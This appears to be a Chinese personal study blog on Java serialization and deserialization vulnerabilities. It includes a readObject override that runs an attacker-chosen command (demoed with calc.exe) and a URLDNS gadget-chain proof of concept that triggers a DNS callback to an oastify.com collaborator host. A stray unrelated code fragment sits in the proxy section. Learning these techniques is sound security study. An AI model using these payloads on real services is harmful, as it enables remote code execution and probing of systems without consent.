Java序列化和反序列化学习

写在前面:谨记java反序列化学习,或许是简单的的吧

我是真懒啊,java学了好久了,感觉java学的好鸡肋。。。。。

重新再来学一遍了。。

##前置知识:

user类和**Serialize_test_1 **的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.Serializable;


public class User implements Serializable {
//定义类的私有属性name
private String name;
//定义setName方法
public void setName(String name) {
//当前类User的name等于setName传递进来的name
this.name = name;
}
//定义getName方法,返回name值
public String getName() {
return name;
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.*;

public class Serialize_test_1 {
//序列化,返回值为字节类型,输入值为对象Object
public static byte[] serialize(final Object obj) throws Exception {
//创建字节数组输出流实例 btout,将所有发送到输出流的数据保存在该字节数组缓冲区中, 个人理解就是读数据并放入缓存区,读的数据以字节类型的数组保存在缓冲区
ByteArrayOutputStream btout = new ByteArrayOutputStream();
//创建objOut 对象输出流实例,也是类似以上的读数据,不过操作的是对象流,不是字节流,序列化对项的类,使其变得可以传输,操作
ObjectOutputStream objOut = new ObjectOutputStream(btout);
//调用对象输出为流的对象方法
objOut.writeObject(obj);
return btout.toByteArray();
}
//反序列化,返回值类型为对象类型,输入为字节类型
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
//实例化对象user,并设置其私有变量name值为posty
User user = new User();
user.setName("posty");
//序列化对象
byte[] serializeData = serialize(user);
//文件流,创建文件user.bin并写序列化后的数据
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
// (User)表示把反序列化后的对象转为User对象,并赋值给已经声明为User类的变量user2
User user2 = (User) unserialize(serializeData);
//调用User的getName方法
System.out.print(user2.getName());
}

}

####Java 方法重写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package qingchuan.java;

import java.io.*;
public class evil implements Serializable {
public String cmd;
//原测试为public不成功, 改为private
//重写readObject()反序列化方法
private void readObject(java.io.ObjectInputStream stream) throws Exception{
// TODO Auto-generated method stub
//默认反序列化,反序列化非静态非瞬态字段
stream.defaultReadObject();
//调用exec方法执行命令cmd
Runtime.getRuntime().exec(cmd);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package qingchuan.java;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class demo01 {
public static byte[] serialize(final Object obj )throws Exception{
//序列化,返回值为字节类型,输入值为对象Object
ByteArrayOutputStream btout =new ByteArrayOutputStream();
ObjectOutputStream objOut=new ObjectOutputStream(btout);

//创建objout 对象输出流实例,也是类似以上的读数据,不过操作的是对象流,不是字节流,协力恶化对象的类,使其编的可以传输,操作
objOut.writeObject(obj);//调用输出对象为流的对象方法
return btout.toByteArray();
}//反序列化,返回值类型为对象类型,输入为字节类型
public static Object unserialize(final byte[] serialize)throws Exception{
ByteArrayInputStream btin =new ByteArrayInputStream(serialize);
ObjectInputStream objIn=new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args)throws Exception{
//恶意cmd测试
evil evil =new evil();
evil.cmd = "calc.exe";
//序列化对象evil并传递蚕食出门的=“calc。exe”;
byte[] serializeData=serialize(evil);
//通过自定义的readObject反序列化
//传递参数cmd,执行了恶意的redaObject()方法
unserialize(serializeData);
System.out.println(evil.cmd);


}



}

####Java 继承与向上转型

   当使用多态方式调用方法时,首先检查父类中是否有该方法,如果没有,则编译错误;如果有,再去调用子类的同名方法。

多态的好处:可以使程序有良好的扩展,并可以对所有类的对象进行通用处理。

向上转型的对象调⽤的⽅法是⼦类覆盖或继承⽗类的⽅法,不是⽗类的⽅法
向上转型的对象⽆法调⽤⼦类特有的⽅法

其实向上转型就是多态的一种实现方式,在反序列化中,如果在某一个类中找不到可以实现恶意方法,就可以去他的父类找,或者父类的父类。

Java 接口和回调

​ Java的接口(interface)定义了纯抽象规范,一个类可以实现多个接口。

  • 接口也是数据类型,适用于向上转型和向下转型;
  • 接口的所有方法都是抽象方法,接口不能定义实例字段;
  • 接口可以定义default方法(JDK>=1.8)。
  • package qingchuan.java;
    
    //定义一个People接口
    interface People {
        //接口的方法peopleList()
        void peopleList();
    }
    
    //Students继承接口
    class Student implements People {
        public void peopleList() {
            System.out.println("I’m a student.");
        }
    }
    //Teacher继承接口
    class Teacher implements People {
        public void peopleList() {
            System.out.println("I’m a teacher.");
        }
    }
    public class Interface_test {
        public static void main(String args[]) {
            People a;          //声明接口变量
            a = new Student(); //实例化,接口变量中存放对象的引用
            a.peopleList();    //接口回调,调用Student类的peopleList()方法
            a = new Teacher(); //实例化,接口变量中存放对象的引用
            a.peopleList();    //接口回调,调用Teacher类的peopleList()方法
        }
        // 结果:
        // I’m a student.
        // I’m a teacher.
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64

    ##一、理解Java序列化和反序列化

    Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。序列化可以将数据永久保存在磁盘上(通常保存在文件中)。

    deserialization(反序列化):将保存在磁盘文件中的java字节码重新转换成java对象称为反序列化。


    ###为什么需要序列化与反序列化??

    我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

    当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。

    ① 想把内存中的对象保存到一个文件中或者数据库中时候;
    ② 想用套接字在网络上传送对象的时候;
    ③ 想通过RMI(远程)传输对象的时候

    ## 序列化和反序列化的实现

    只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

    我们新建3个类,测试一下序列化和反序列化

    Person类

    ```java
    package QIngchaun;

    import java.io.*;

    public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos =new ObjectOutputStream((new FileOutputStream("ser.bin")));
    oos.writeObject(obj);
    }
    public static void main(String[] args)throws Exception{
    Person person = new Person("aa",22);
    System.out.println(person);
    serialize(person);
    }
    }package QIngchaun;

    import java.io.Serializable;

    public class Person implements Serializable {
    private String name;
    private int age;
    public Person(){

    }
    public Person(String name,int age){
    this.name=name;
    this.age=age;
    }

    @Override
    public String toString() {
    return "Person{"+
    "name:'"+name+'\''+
    ",age="+age +
    '}';
    }
    }

Serialize类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package QIngchaun;

import java.io.*;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream((new FileOutputStream("ser.bin")));
oos.writeObject(obj);
}
public static void main(String[] args)throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}

Unserialize类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package QIngchaun;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserlialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
public static void main(String[] args)throws Exception{
Person person =(Person)unserlialize("ser.bin");
System.out.println(person);
}
}

对上面的2个操作文件流的类的简单说明

ObjectOutputStream代表对象输出流:

它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。

ObjectInputStream代表对象输入流:

它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
3. 一个实现 Serializable 接口的子类也是可以被序列化的。

  1. 静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

transient 标识的对象成员变量不参与序列化

transient实例:我们在name前加了transient,反序列化的时候结果将显示为空

在下面这个栗子中,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦,具体的做法是写以下两个 private 方法:

1
2
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundExceptionja

从这两个方法的名字就可以看出分别是序列化写入数据和反序列化读取数据用的,那么这两个方法是在哪里使用呢?其实在序列化和反序列化过程中会通过反射调用的,具体下面会分析这个过程哦。

现在来看看这个 transient 应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class MyList implements Serializable {

private String name;


/*
transient 表示该成员 arr 不需要被序列化
*/
private transient Object[] arr;

public MyList() {
}

public MyList(String name) {
this.name = name;
this.arr = new Object[100];
/*
给前面30个元素进行初始化
*/
for (int i = 0; i < 30; i++) {
this.arr[i] = i;
}
}

@Override
public String toString() {
return "MyList{" +
"name='" + name + '\'' +
", arr=" + Arrays.toString(arr) +
'}';
}


//-------------------------- 自定义序列化反序列化 arr 元素 ------------------

/**
* Save the state of the <tt>ArrayList</tt> instance to a stream (that
* is, serialize it).
*
* @serialData The length of the array backing the <tt>ArrayList</tt>
* instance is emitted (int), followed by all of its elements
* (each an <tt>Object</tt>) in the proper order.
*/
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//执行 JVM 默认的序列化操作
s.defaultWriteObject();


//手动序列化 arr 前面30个元素
for (int i = 0; i < 30; i++) {
s.writeObject(arr[i]);
}
}

/**
* Reconstitute the <tt>ArrayList</tt> instance from a stream (that is,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {

s.defaultReadObject();
arr = new Object[30];

// Read in all elements in the proper order.
for (int i = 0; i < 30; i++) {
arr[i] = s.readObject();
}
}
}

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class TransientMain {
private static final String FILE_PATH = "./transient.bin";
public static void main(String[] args) throws Exception {
serializeMyList();

deserializeMyList();
}

private static void serializeMyList() throws Exception {
System.out.println("序列化...");
MyList myList = new MyList("ArrayList");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(myList);
oos.flush();
oos.close();
}

/*
1.如果 private Object[] arr; 没有使用 transient ,那么整个数组都会被保存,而不是保存实际存储的数据
输出结果:MyList{name='ArrayList', arr=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null]}
2.private transient Object[] arr;设置了 transient,表示 arr 元素不进行序列化
输出结果:MyList{name='ArrayList', arr=null}
3.参考 ArrayList 处理内部的 transient Object[] elementData; 数组是通过 writeObject 和 readObject 实现的
我们的 MyList 内部也可以借鉴这种方式实现transient元素的手动序列化和反序列化。
*/
private static void deserializeMyList() throws Exception {
System.out.println("反序列化...");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
MyList myList = (MyList) ois.readObject();
ois.close();
System.out.println(myList);
}
}

测试结果

1
2
3
4
5
序列化...
writeObject...
反序列化...
readObject...
MyList{name='ArrayList', arr=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29]}

6.Serializable 在序列化和反序列化过程中大量使用了反射,因此其过程会产生的大量的内存碎片

###为什么会产生安全问题?

只要服务端反序列化数据,客户端传递类的readObject中代码会被自动执行,给予攻击者在服务器上运行代码的能力

可能的形式

1.入口类的readObject直接调用危险方法

2.入口类参数中包含可控了,该类有危险方法,readObject时被调用

3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

比如类定义类型为Object,调用equals/hashcode/toString

重点 相同类型,同名函数

4.构造函数/静态代码快等类加载时隐式执行。

共用条件 继承serialize

入口类 source(重写readObject 参数类型宽泛 最好jdk自带

调用链 gadget chain

执行类 sink (rce ssrf 写文件等等

反射的理解

Java的反射机制是值在云翔状态中,对于任意一个类都能够知道这个类所有的属性和方法;这种动态获取信息一节动态调用对象的方法的功能成为java语言的反射机制。

白话理解

正射,

万物有阴必有阳,有正必有反,既然有反射,就必有正射。

那么正射是什么呢

当我们写写代码的时候,到需要去用到某一个类的时候,都会先去了解这个类是做什么的,然后实例化这列,接着使用实例化好的对象进行操作,这既是正射

Student student =new Student();

student.homework(“数学”);

反射

反射就是一开始你并不知道我们初始化的类的对象是什么,自然也就无法使用new这一类关键字来创建对象

1
2
3
4
5
6
7
8
9
Class clazz=Class.foName("reflection.Student");

Method method =clazz.getMethod("doHomework",String.class);

Constructor constructor =clazz.getConstructor();

Object object =contructor.new.newInstance();

method.invoke(object,"语文");

反射的作用:让java具有动态性,

就是在代码运行的时候,动态的进行实例化

可以修改已有对象的属性

动态生成对象

动态调用方法

操作内部类和私有方法

在反序列化中,定制需要的对象,

通过invoke调用出了同名函数以外的函数,通过Class了器创建对象,引入不能序列化的类

获得实例化的类

1
2
3
getclass //得到该类的原型
person.newInstance()//无参构造的方法NewInstance,利用它可以调用类中无参的构造方法
要是调用有参的怎满

image-20240717151854717

getConstructor可以调用有参构造方法

拿到构造方法了,可以进行实例化传参了

调用person.newInstance(“1”,”123”)

获得类里的属性

跟属性相关的:

image-20240717152449930

4个函数可以打印属性,加个Declare的对应可以打印私有属性之类的

getfields对应数组类别。field对应变量类

image-20240717153045697

调用类的方法

getMethods()

image-20240717155738308

代理模式

定义:为其他对象提供一种代理以控制对这个对象的访问if xxe.username!=username|| xxe.password!=password:
return ‘false

URLDNS链

serializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package Test;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class serializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("username",11);
//System.out.println(person);
HashMap<URL,Integer> hashMap = new HashMap<>();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://jm97wyv7516bpv5b21bar09naeg54u.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);
hashMap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashMap);
}
}

unserializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package Test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserializeTest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
//Person person = (Person) unserialize("ser.bin");
//System.out.println(person);
unserialize("ser.bin");
}
}

调用链如下

1
2
3
4
5
6
7
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

进行反序列化操作时

会触发readObject,调用hash方法,进而调用hashCode方法

,由于我们传入的url,还对调用URl类,在URL类里有hashcode方法

这里有个判断掉,如果hashcode=-1,才会调用hashCode

所以需要在序列化的是,利用反射将hashcode改为不是-1,后面再改回来

进入hashcode方法,发现调用了getHostAddress,参数即我们要发送dns请求的地址

put方法也会调用hash方法,进而将整条链子走了一遍,导致hashcode不为-1

image-20240406133922526

就导致在这里不会触发hashcode,进而执行失败,所以在序列化前我们需要将hashcode反射赋值回-1,这样才有了我们上边的那条链子